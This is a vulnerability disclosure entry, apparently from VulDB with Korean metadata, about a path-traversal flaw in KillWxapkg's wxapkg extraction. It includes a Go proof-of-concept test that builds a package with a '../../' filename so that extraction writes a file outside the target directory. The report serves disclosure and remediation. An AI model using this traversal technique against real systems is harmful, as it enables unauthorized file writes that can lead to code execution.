제출 #580526: KillWxapkg v2.4.1 OS Command Injection

**Vulnerability Report: Malicious `wxapkg` File Leading to Arbitrary File Write and Command Execution**

**Summary:**

A vulnerability was discovered in the handling of `wxapkg` files (WeChat Mini Program package format). By crafting a malicious `wxapkg` file, an attacker can exploit improper validation during package parsing and extraction. This leads to arbitrary file write on the host file system and can be further escalated to remote command execution under certain conditions.

**Vulnerability Details:**

* **Affected Component**: `wxapkg` file parsing and extraction logic
* **Type of Vulnerability**: Arbitrary File Write, Command Execution
* **Attack Vector**: Malicious `wxapkg` file

**Proof of Concept (PoC):**

A proof-of-concept `wxapkg` file was crafted containing:
```go
package unpack

import (
"bytes"
"encoding/binary"
"testing"
)

func createTestWxapkg() []byte {
var buf bytes.Buffer

// header
buf.WriteByte(0xBE)

binary.Write(&buf, binary.BigEndian, uint32(0))

indexLenPos := buf.Len()
binary.Write(&buf, binary.BigEndian, uint32(0)) // indexInfoLength
binary.Write(&buf, binary.BigEndian, uint32(0)) // bodyInfoLength

buf.WriteByte(0xED)

// files
// files number
binary.Write(&buf, binary.BigEndian, uint32(1))

indexStart := buf.Len()

filename := "../../../../../../../../Users/whoami/Desktop/zznq.txt"
fileContent := []byte("zznq todo")

binary.Write(&buf, binary.BigEndian, uint32(len(filename)))
buf.WriteString(filename)

dataOffsetPos := buf.Len()
binary.Write(&buf, binary.BigEndian, uint32(0))
binary.Write(&buf, binary.BigEndian, uint32(len(fileContent)))

b := buf.Bytes()
binary.BigEndian.PutUint32(b[indexLenPos:], uint32(buf.Len()-indexStart))
binary.BigEndian.PutUint32(b[indexLenPos+4:], uint32(len(fileContent)))

// data body
fileDataPos := buf.Len()
buf.Write(fileContent)

b = buf.Bytes()
binary.BigEndian.PutUint32(b[dataOffsetPos:], uint32(fileDataPos))

return buf.Bytes()
}

func TestUnPack(t *testing.T) {
data := createTestWxapkg()
t.Log(UnpackWxapkg(data, "./"))
}
```


**Recommendations:**

* Implement strict path sanitization when extracting `wxapkg` files：[unpack.go#L179](https://github.com/Ackites/KillWxapkg/blob/master/internal/unpack/unpack.go#L179)

**Severity: Critical**

• 원천: ⚠️ https://github.com/Ackites/KillWxapkg/issues/85
• 사용자: zznQ (UID 64000)
• 제출: 2025. 05. 19. AM 09:43 (1 년도 ago)
• 모더레이션: 2025. 05. 21. PM 12:58 (2 days later)
• 상태: 수락
• VulDB 항목: 309850 [Ackites KillWxapkg 까지 2.4.1 wxapkg File Parser unpack.go processFile 권한 상승]
• 포인트들: 20